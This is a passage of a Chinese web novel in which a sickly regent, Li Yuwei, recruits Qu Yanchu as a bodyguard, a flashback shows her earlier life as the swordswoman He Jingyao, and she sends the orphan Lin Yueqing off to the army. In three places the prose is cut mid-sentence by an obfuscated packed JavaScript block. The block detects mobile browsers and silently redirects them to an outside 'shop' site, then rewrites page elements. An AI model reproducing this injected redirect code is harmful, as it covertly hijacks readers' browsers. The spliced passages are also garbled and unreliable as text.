“是该问罪的。”李予微点点头,走向前,仔细看了看木板上的血书,一本正经道: “只是曲公子这血书实在简陋些啊,你上街上随便揪出一个会写字的,写的都比你这个要写的又多又好。” “曲公子这是被比下去了啊。” “还有曲公子这实在不称职呀,这上告血书怎能让他人挂着!” 说着李予微就将那块木板从林跃青身上取了下来,挂在了曲言初脖子上。 挂完还满意的看了看:“这才像话,曲公子,心诚才灵嘛。” 曲言初:“李予微。” 李予微:“嗯?曲公子你叫我?可是我挂歪了?” 曲言初面无表情将木牌扯了下来,狠狠将木牌摔在了地上。 不是他不控诉了,是李予微给他挂牌子的动作像极了给狗子挂狗牌,尤其是她眼里满是想逗小狗的揶揄。 李予微见牌子被摔了也不恼,仍旧笑眯眯道: “曲公子这是不举血书了?那可是想好给我的条件了?” 曲言初离谱的看向面前这臭不要脸的人,摄魂丹都被她偷走了,她还想要什么条件! 李予微继续道:“嗯......曲公子既然拿不出让我满意的条件,那就拿人来换吧。” 曲言初震惊,曲言初咬牙切齿:“你个丧心病狂,厚颜无耻的卑鄙之徒!” 李予微笑了:“您过誉了。” 曲言初拽紧自己的领口:“我是不是屈服的!” 李予微笑道:“您误会了,不是要你。” 说着,脚步一转,到了林跃青面前:“方才就想问了,小公子姓名为何啊?与曲公子又是什么关系?” 林跃青整个脸都红了,开口更是结巴了起来: “我,我叫林跃青,他是,是我师傅。” 李予微笑的更温柔了:“林小公子别那么紧张嘛。” 而一旁目睹这一切的曲言初脸都黑了,十分恰当的插挡在两人中间,大义凌然道: “你个无耻小人休想羞辱我徒弟!有什么冲我来!” 林跃青:“......” 李予微:“好,那就你了!尺霜,把林小公子先带下去吧。” 曲言初震惊:“有我了你还留他干什么,不对,你怎么答应这么快?!” 李予微却不理他,上下打量他因一夜发癫造成的褶皱的衣裳和凌乱的发丝,转身对斯南道: “带他下去好好梳洗一番,再带到书房。” 说完就自己先提步往书房走去,一旁的斯南得令后古怪的看向曲言初,林跃青更是向他投向一个意味深长的眼神,然后就跟着尺霜走了。 只有尺霜一只保持着冷若冰霜的表情,只是临走前狠狠剜了他一眼,那眼神活像看一个勾引的狐狸精。 曲言初:“......” 喂喂喂!她是那个意思吗你们这么看我! 不过,不会真的要在书房吧。 嘻嘻。 搓手手。 —— 书房内,李予微已经批阅了大半公文后,曲言初终于姗姗来迟,进门时他先把身上厚重披风卸下挂到一旁,露出了里面单薄的衣衫。 走了几步又停下想了想,把自己领口又扯开一点,这才进入书房。 “摄政王这是叫我过来有什么事?” 听到声音的李予微这才从公文中抬起头,见到这幅模样先是愣了愣: “曲公子不冷吗?虽然书房里燃了火炭,但如今京都春寒雪重,还是比较冷的。” 曲言初:“咳,在下习武之人,自是不怕冷吧。” 李予微:“既如此,那曲公子就先过来看看这几篇奏章。” 曲言初看向李予微递过来的几本奏章:“摄政王唤我过来就是为了看这几本奏章?” “朝廷机密,不过在下一介布衣,怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730243|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不适合过目吧。” 李予微头也没抬;“曲公子不必介意,是我让你看的,叫曲公子来自是有事相商,之后再与你说明。” 曲言初看了看她,真只是叫他来看奏章的啊。 曲言初敛了敛衣裳,刚才起他就暗暗运转了内力,可是还是觉得几分寒凉。 曲言初又瞟了瞟她,可能是人心寒凉吧。 想罢曲言初拿起了奏章看了起来,阅罢,曲言初放下奏章: “这几个都是要出兵狄戎的折子,朝廷要打仗?” 李予微:“今晨已经下了圣旨,由沈克领军出兵。” 曲言初:“可你给我看的这些都是反对出兵的,如今是进攻最好时机,你应该不会反对吧。” 李予微笑了:“看来曲公子还是很关心国事的,你说的没错,最后出兵的决定是我下的。” “如今大兴出兵,可狄戎部落却未必就能经得起大兴的攻打了,藏在京都的狄戎暗探自然蠢蠢欲动。” “我军势在扫平北方,曲公子不妨猜猜,这里头会有几个会坐不住呢?” 曲言初:“你是说他们最近会出现动作来阻止这场仗?最有可能的就是解决掉做决定的人。” “所以你是想要我保护你?” 李予微轻笑:“曲公子说笑了,下决定的不仅仅是我一人,最后下圣旨的是陛下,怎会只冲着我一人而来。” 曲言初:“所以你想让我保护陛下?” 李予微:“皇宫内守卫森严,我还会派斯南这段时间进宫应变,暂时可以放心。” “只是我身边人手空虚很多,所以最近需要武艺高强的曲公子相助了。” 曲言初:......所以不是还需要他保护吗,刚才都在废话些什么? 李予微道:“另外,最近形式,相信曲清欢肯定会出手,之前曲公子不是和我说要我留她一道性命吗?两方交锋曲公子不在如何留下她的性命。” 曲言初眼睛一亮:“你答应了?” 李予微:“没有,不过曲公子可以说服她交出废太子和所有乱党,我可以考虑留她一条命。” “或者曲公子就当着我的面,从我手底下抢下她的性命了,虽然概率不大。” 曲言初自嘲:“摄政王是想把我放在眼皮子底下看着?就这么自信我救不了阿姐?” 李予微轻笑:“这就要看曲公子的能力了,而我只是给曲公子一个机会。” 曲言初猛然起身:“好,我答应,希望摄政王不会为今日决定所后悔。” 李予微:“自然不会,只是曲公子这段时间也要尽到责任,好好护佑一旁啊。” “我这病体难撑,还是需要曲公子保护的,曲公子也要披好披风,切莫保重自身,莫要再坦胸露膊,穿的如此单薄了。” 曲言初顿住,回头瞪了她一眼,拐了个弯,取走披风披好这才大踏步离去。 李予微望着他的背影渐渐远去,忍不住轻笑出声,一侧头,忽然望见一旁镜面反映出自己笑容模样,才恍惚回神,自己竟然笑了这么久。 略带恍神的看着镜面中的自己,最后笑容渐敛,垂下眼眸,眸光冰寒。 伸手拿出不知何时夹在奏章中的纸条,字迹鲜红刺目。 “好阿窈,准备好了吗?” “游戏,就要开始了!” 26. 奸臣当道 “你就是浮生楼的少楼主?” 杏雨春光中,贺景窈被一道女声惊醒,怀中捧着的酒瓶也随着她的动作跌落在地,碎成碎片。 好在酒已经被她喝完了。 酒意还未散去,贺景窈斜倚在老树枝杈上,声音还带着几分醉意: “又是来打架的?” 树下白衣女子却拾起一片碎片闻了闻:“姑苏的醉阳春,闻起来确实清香醉人。” “喝起来更是清冽甘醇呢,只可惜我已经喝完了,没法请你喝了。” “所以慢走不送。” 贺景窈眼睛都没再睁开一下,调整了一下姿势就又要睡过去。 白衣女子见状高声喊:“你刚才不是问我是不是来打架的吗?你怎么不下来和我打?别睡呀!” 贺景窈又被这喊声叫了起来,这一次她看清楚了树下的姑娘,白衣金條,芙蓉笑面,是个十分清丽的女子。 但只一眼,贺景窈就又斜躺在树上。 “你又不想打架,买酒找别人。” 声音越来越小,眼看又要睡过去,却像是被什么击中一般,一个没躺稳,直接翻身摔了下去。 一抬头,只见对面白衣女子笑着把弄着手里的石子,刚才那一击显然也是她扔的。 “清醒一点没有,我还能帮你清醒清醒的。” 贺景窈也没恼,许是对面的姑娘始终长的确实好看吧,她对好看的人一向有很高的包容。 所以她只是摇摇晃晃站起身,摇了摇脑袋道:“唔......醒了,所以你要打架吗?” 白衣女子略微惊讶,显然没想到这位少楼主脾气不错,这都不生气,她遇到的每一个有名气的人都有傲气,也自然容易惹怒。 可这位少楼主却十分随意,一副你要打架就打,不打架就要继续睡的样子。 “我不跟你打架,我武功上并非优胜,连我那便宜弟弟都打不过,才不和你打。” “哦。” 眼看贺景窈又要飞身上树,却被白衣女子一把拉住。 “你先别飞,虽然我不和你打架,但我和你比别的,有筹码的。” “什么?” 然后贺景窈就看她像变戏法似的变出来一坛酒,贺景窈凑近闻闻就感受到了酒香扑鼻。 “这叫玉浮梁,可是从京都带过来的,京都的好酒少楼主没喝过吧,不想试试看?” 确实是好酒,贺景窈动心了。 “你要和我比什么?” 白衣女子笑的更灿烂了。 “比喝酒。” “姑苏的醉阳春我还没喝过,不如少楼主请我一次?” “那算了,我没钱。” 醉阳春贵着呢,她全部零钱全搭在上面了,这不刚喝个精光。 “诶你别走呀。”白衣女子又拉住了掉头就走的贺景窈:“你请客,我掏钱。” “不管输赢,酒钱我都掏了,如何?” 贺景窈狐疑的看向她,这有这么好的事? 贺景窈道:“酒钱你掏,我赢了你就将这玉浮梁送我,那要是我输了呢?” 白衣女子道:“你输了,就只需要答应我一个小小的请求。” “和人打一架。” 贺景窈:“谁啊?” 白衣女子:“我弟弟。” 贺景窈:“???你是替你弟弟来约架的?” 白衣女子:“咳咳,我这个弟弟年岁小,不知天高地厚,偏又是个武痴,喜欢到处打架。” “偏他武功高,跑得快,我又教训不到,只好请少楼主出出手,替我教训教训他。” “尤其要冲脸打,千万不必手下留情,疼到位才能长到记性,千万千万不要手下留情。” 贺景窈:“......” 白衣女子:“我已经写信给他,将少楼主高超剑术好好转达给了他,相信不日他就会来挑战。” 贺景窈:“你怎么就能确定我一定打得过你弟弟?” 白衣女子:“少楼主可是天下第一剑啊,怎会打不过一个毛头小子。” “另外等少楼主胜出之后,我另备了几大坛玉浮梁给少楼主庆祝。” 贺景窈:“好的没问题,只是不知道您想要令弟脸上挂几分彩呢?” “面目全非款,还是人首猪头款呢?” 白衣女子微笑:“少楼主自己把握就好,我相信少楼主。” 贺景窈:“对了,还不知道姑娘芳名?” “在下点苍门曲清欢。” “原来是少门主啊,失敬失敬,那我们何时开始比试呢?” “就现在吧。” 不出意外,已经喝过一轮的贺景窈输给了酒量不错曲清欢。 一月后,点苍门小公子曲言初前来挑战,两人大战一日,最后曲言初战败。 “姐,你要的酒,这玉浮梁你不都喝腻了吗?怎么还叫我特意送过来?” “当然是给人赔礼,不管怎么说父亲都与浮生楼主相交,你千里迢迢找人打架,万一坏了两家情分怎么办。” “还是姐你想的周到。” 曲清欢接过酒坛,仔细看了看自家弟弟的脸,看来是熊猫现世款。 曲言初被她盯得不好意思,没忍住侧了侧脸道:“也不知道她贺景窈堂堂浮生楼少楼主,怎生如此卑鄙无耻,打架净盯着脸打。” 曲清欢:“这就是你把人家女孩打的如此狠的缘故?” 要知道虽然贺景窈胜了她这个便宜弟弟,但却伤的却比他重。 曲言初简直冤枉的紧:“要不是她一个劲的盯着我脸打,到后来连防守都顾不上,那几招也不会落到她身上。” “也不知道我的脸怎么招惹她了,净往上招呼,定是发现我的美貌太过惊世骇俗,生了嫉妒之心,真是个卑鄙无耻的女人!” 曲清欢用看傻子的眼神撸了撸他的脑袋,慈爱道:“乖,这几天别出门了,好好养伤,有什么需要跟姐说。” 曲言初狠狠点头:“嗯嗯!君子报仇,十年不晚!我回去就日夜苦修,不信还打不过一个黄毛丫头!” 然后他就斗志高昂的去练剑了,曲清欢看着自家便宜弟弟的背影,不禁心中感叹: 这便宜弟弟被揍一顿是越来越傻了。 —— 烛心爆裂的声音响在屋内,曲清欢从梦中惊醒。 怎么突然梦到了这些? 酒坛随着她起身的动作滑落,却被她稳稳接住,坛中还有些许残酒,正是上好的玉浮梁。 以往早已喝腻的酒,如今却又捡起,日日喝也再未觉得腻过。 也许她喝的不是酒,可喝的什么她自己却都不清楚,只是一日不饮,一日不醉就觉得格外空虚。 窗外面黑影闪动。 “主子,一切已经准备就绪了,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758972|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等主子发令。” “嗯,纸条呢?” “已经送到了李予微手中。” “她什么反应?” “将纸条烧了,没有任何表情。” “最近阿言在那里如何?” “小公子过得很好,只是时常跟着李予微出门,不知做了什么,小公子武功高,李予微身边还有那两个身手不错的侍卫,不敢太过靠近,怕被发觉。” “知道了,下去吧。” 黑影悄无声息的消失,再次融入夜色中。 曲清欢站起身,走到窗前,打开窗,外面空无一物。 她不知道从哪里又掏出一坛玉浮梁,倚坐在床边,一口一口抿着,抬头望天。 天上一轮明月高悬,在明月一旁,三条可怖裂痕交错一旁,一点点的向外吞噬裂开。 —— 夜,摄政王府书房 林跃青敲了敲门,听到里面传来“请进”,这才推门而入。 “殿下,您找我?” 李予微这才从公文中抬头,先是仔细看了看他。 少年身形高挑,一身墨色劲装,面容清秀俊朗,眼神坚定明亮,在烛光下更衬托的神采熠熠。 李予微上下打量,然后打趣道:“上次见你才刚到我腰部,如今你已经长的这么高了,只是怎么不叫姐姐了?” 林跃青脸一下就红了,许久低声道:“阿......阿窈姐姐。” 李予微笑了:“怎么还是一让你叫姐姐就脸红啊。” “再次见面这么长时间,一直没来得及找你单独说说话,这些年怎么样?虽然这些年斯南一直都有传来你的消息,但还是想着单独问问你。” “过得如何?和你师父处的如何?” 林跃青抓了抓后脑勺,有些不好意思开口:“我过得挺好的,江湖很有意思,我师傅也挺好的,这些年他带着我去了很多地方,我也见识到了挺多东西,就是有时候挺不靠谱的。” “但总体来说都挺好的。” 李予微笑道:“不是有时候,是大多数时候都挺不靠谱吧,毕竟你师父这个人总是想一出是一出的,我看斯南送过来你们的经历,反正都挺精彩的。” 林跃青更不好意思:“让阿窈姐见笑了,不过师父他关键时候还是挺可靠的,这些年也教会了我不少东西。” 李予微:“难得见你夸他,上次见你们一起时你还追着他跑呢,他听到这话怕是高兴的不得了吧。” “毕竟他也很在意你这个徒弟,你们之间也总进行了亲切友好交流,这些年都建立起深厚感情了吧。” 林跃青脸上刚褪下去的热度又泛了起来:“阿窈姐快别拿我打趣了!” 李予微见小少年整张脸都跟熟透的虾子似的,也不再继续打趣了,怕再说下去该急了。 “好了好了,那我不说了,这次叫你过来还有别的事和你说。” “你应该也了解到,狄戎常年骚扰我大兴边境,所以我军打算今年称春季狄戎部落势弱反攻,最好一举清剿干净,打的他们不敢再犯边半分。” 林跃青:“这事我也听说了,摄政王府这段时间一直都在忙的就是这事,大军已经整顿好准备出发了不是吗,听说三日后晚上就是送别宴。” 李予微:“没错,那你怎么想的呢?” “什么?” “林跃青,你想随军出征吗?” 27. 祸国奸臣 李予微第一次见林跃青,在她还是浮生楼的少楼主时。 那时的浮生楼仍是南方第一江湖门派,天下第一楼。 在戾帝残暴统治下,浮生楼一直不畏强权,惩奸除恶,自以除天下之害为目标,凭侠义之心,试图济世救民,拯天下于危难中。 林跃青,就是他们从戾帝手里救出来的良将遗孤。 那时浮生楼接到消息,戾帝竟联合外族,以割地为代价,设计诛杀我大兴护国大将军。 等贺景窈提着剑赶到幽州城时,护国大将军已然殉国,尸首悬挂于幽州城门之上。 而林跃青就是是护国大将军唯一血脉,虽逃过外敌屠杀,却一直被戾帝派来暗卫追杀。 贺景窈就是那时候救下了尚还年幼,被追杀的林跃青。 也许是因为了解前因后果,那时年轻气盛的贺景窈太过动怒,刚刚掌握回春剑诀就毫不避讳的使出了逢春剑。 一人一剑逼退狄戎于幽州城十里外,守住了幽州这个重要关卡,更是让所有追杀之人无一生还。 自此,一战成名,成了名动天下浮生楼少楼主,也在戾帝那里留下了名字。 救下林跃青后,贺景窈曾将他带到浮生楼将养,可却因伤势过重身体一直难以好全,怕留下病根不得不送往药王谷治疗。 却没想到,正好躲过了浮生楼灭门之乱,保全了性命。 后来李予微从离素那里得知了林跃青的近况,得知对方身体痊愈后想要离开药王谷,自己闯荡江湖。 李予微最后同意了,还暗中将他送到了曲言初那里,成为了他的徒弟。 尽管他那时还小,但林跃青仍是见过浮生楼最辉煌的时刻,见过贺景窈最好的年岁。 可之后李予微,已经不再是过去的贺景窈了。 所以从林跃青离开药王谷后,这么多年李予微一直有让斯南看顾林跃青,但她没有再看过他一次,也没有给过他一点讯息。 在林跃青进去摄政王府时,李予微做好了见面不识的准备,毕竟她们上次见面的林跃青还是比较小的。 如今已经度过了数年时光了。 却没想到对方再次见面还是一眼认出了她。 这段时间虽然李予微都在忙打仗的事,但她也一直有想林跃青的未来。 毕竟他是曾经那位护国大将军的后代,幼时的林跃青也曾说过长大要做像父亲那样的大将军。 所以李予微打算让他随军出征,虽然开始只是一个小的队长,但她相信林跃青的能力,往上走只是迟早的事。 但这一切还是要问问林跃青自己的意见。 毕竟人的想法是一直在变的,万一有过更多地方的他更喜欢江湖的快意恩仇,她就将浮生楼所有人脉都交给他,这样在仗剑江湖时也更多了一分保证。 李予微将这一切想的很周全,这才将人叫来询问。 而林跃青显然也没想到,这么快他就要做出关于他未来的决定,一瞬间迟疑起来。 见他犹豫,李予微也起身缓步走到他面前道:“没有现在就要你决定的意思,就算你真的想当将军,也没办法一口吃出个大将军出来。” 李予微笑着拍了拍肩膀,正在沉思的林跃青却下意识躲避开来。 李予微顿了顿,手就这么僵在了半空,而林跃青也意识到了自己做了什么,连忙主动向前一步,连声开口解释道: “阿窈姐,我还没想好,你给我一段时间想想,之后我会给你一个答复。” “我说了,没有现在就让你决定的意思。”悬空的手最后还是落在了林跃青的肩膀上,轻轻的拍了两下。 林跃青掩饰住内心的慌张,抬头看向李予微,却没有发现什么异样,玄衣女子的面容上仍旧勾着几分自然的浅笑,中和了周身萦绕的一贯的压迫感。 好像刚才什么都没发生过一样,方才轻拍的两下就像是来自长辈自然而然的关怀,而在那之后的李予微再次回到了案旁开口道: “但我仍旧建议你随军出征,不一定非要挣军功,也没有要你一定做出什么贡献。” “只是这些年你一直跟着你师傅游历各地,江湖你已经看遍了,却没上过战场,经过真正的厮杀搏斗。” “去经历经历吧,只有经历过真正的战场,见过足够多的东西,权衡之下,你做出的选择才是你真正想要的。” 说着李予微将案旁早已准备好的信封递给他。 “拿着写封信,斯南会带你去见一个人,信给他看,他就会将你引荐给这次出征的沈克沈将军。” “沈克也是我大兴良将,他会给你好好安排的。” “你放心,这次引荐沈克不会察觉到有我的手笔,出了摄政王府也不会有人知道你曾在这里住过,更不会挖出你我的关系。” “这样不会有人因我而为难你,也不会对你有什么流言蜚语,同样我也不会给你助力。” “所以做到那种地步,最后又做出什么样的选择,都由你自己决定。接下来,就要看你自己了。” 林跃青接过那封信,板板正正的行了一礼:“多谢阿窈姐。” 李予微笑意深了些:“用不着谢我,我说了,接下来要看你自己,我只是给你这个选择而已。” “没什么事你就下去准备吧,出去后斯南会带你去见那个人的。” “那就不打扰阿窈姐了,阿窈姐也要早些休息。” 林跃青拿着信,就要离开时却听到后面传来一道沙哑声音: “以后不要叫我阿窈姐了,世上已经没有贺景窈了。” “我是大兴摄政王,以后还是叫我殿下吧。” 这句突然而然的话让林跃青浑身一僵,心里的慌张有被翻了起来,像是藏在心底的秘密被身后的人彻底看穿。 而整个人却无地自容钉在原地,林跃青僵硬的回身看向她。 却见女子已然在处理公文,昏黄的烛火映衬她平静却又略带苍白的面容,给她度上一层暖意,仿佛多了一丝人间的气息。 林跃青无法在那张平静的面容上看出什么,什么都没有,可仅仅是没有表情就让他内心慌乱了起来。 阿窈姐姐……还是察觉到了吗。 不,是他太明显了。 林跃青不禁心中苦笑,可内心纵使翻涌万分,最后涌入喉头的,却都只化作了一个字: “是。” 当书房的门再次关上时,李予微的笔停住了。 她放下了笔,透过屏风,看着已经关上的木门,当写字的沙沙声停止后,书房静的厉害,更何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13786367|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况李予微内力仍在,轻而易举的就能听见门外逐渐远去的脚步声。 良久,当脚步声也彻底消失后,寂静的书房响起了一道喃喃低语: “还是个孩子啊……” 紧跟着这句话的,是一连串压抑到极点低咳。 李予微看着手帕里鲜红刺目的点点血迹,平静的扔进了一旁的火炉之中,看着火焰将其一点点吞噬殆尽。 —— 另一边,林跃青刚出书房没一会,就见到了早早在一旁等候的斯南。 这是他第一次单独见斯南,从他刚跟着曲言初时,他就是知道师父身边一直有一个人暗中跟随。 像是监视,也像保护,而师父也只道这个人。 林跃青知道,这是阿窈姐姐派来的人,在很多危及的时候,他都曾出手相助。 最开始他以为这人是在保护自己,后来才明白这人的目标是自己的师父。 明明已经算是暗中相处多年,今夜却是他第一次正式站在这个人面前。 斯南抱拳行礼:“奉主子令,前来为林公子引路。” 林跃青知道,他是要带自己去见能够将他引给沈将军的线人。 他今夜的心底实在太乱了,可是看着面前人的背影,突然有一种莫名倾诉的冲动。 阿窈姐姐也是救他于水火的人,所以他心中一直压抑的问题必须问个明白。 尽管面前这人是摄政王府的侍卫,是阿窈姐姐最忠心的属下。 但面前的人也是不同的。 “斯南,这些年一直暗中跟在我和师父身边,并多次保护我的,是你吧。” 斯南停住脚步,并没有被戳穿的惊讶和慌乱,反而十分平静:“职责所在,林公子不必挂怀。” 而这个职责,是谁给的命令,已经不必言说了。 林跃青掌心微微蜷紧,终于还是开口说了出来: “斯南,你了解殿下吗?” “京中的传闻……是真的吗?” 传闻……狠辣歹毒,以权谋私,害人误国的传闻。 斯南没有正面回答,反问:“林公子觉得呢?” 林跃青迷茫了:“我……我不知道。” “我只知道我认识的阿窈姐姐不会是这样的人,她清正,洒脱,武功高强又有着侠义之心,她绝不会是别人说的那个样子。” “所以哪怕我不在京城,听到他人说阿窈姐姐是怎样的人,我都不会信,我甚至会上前跟他们打一顿,知道他们不再多嘴多舌为止。” “这一切都因为我知道阿窈姐姐是个怎样的人,她是寒冬中的第一缕春风,带来的只有无尽的暖阳,所有就算所有人都说她我都相信她不是这样的。” “可是,可是……” “可是站在你面前的主子,却不是你印象中的姐姐。”斯南接过了他未尽的话。 林跃青默认了。 现在的阿窈姐姐,尽管她尽可能像过去那般和他说话,他仍旧会下意识远离,甚至害怕。 因为面前的女子已经找不出当时的模样,再次重逢时,他几乎认不出来这是他记忆中的姐姐。 “斯南,人怎么会变化这么大?” 既然有这么大的变化,那么那些传言,是不是也未必都是假的?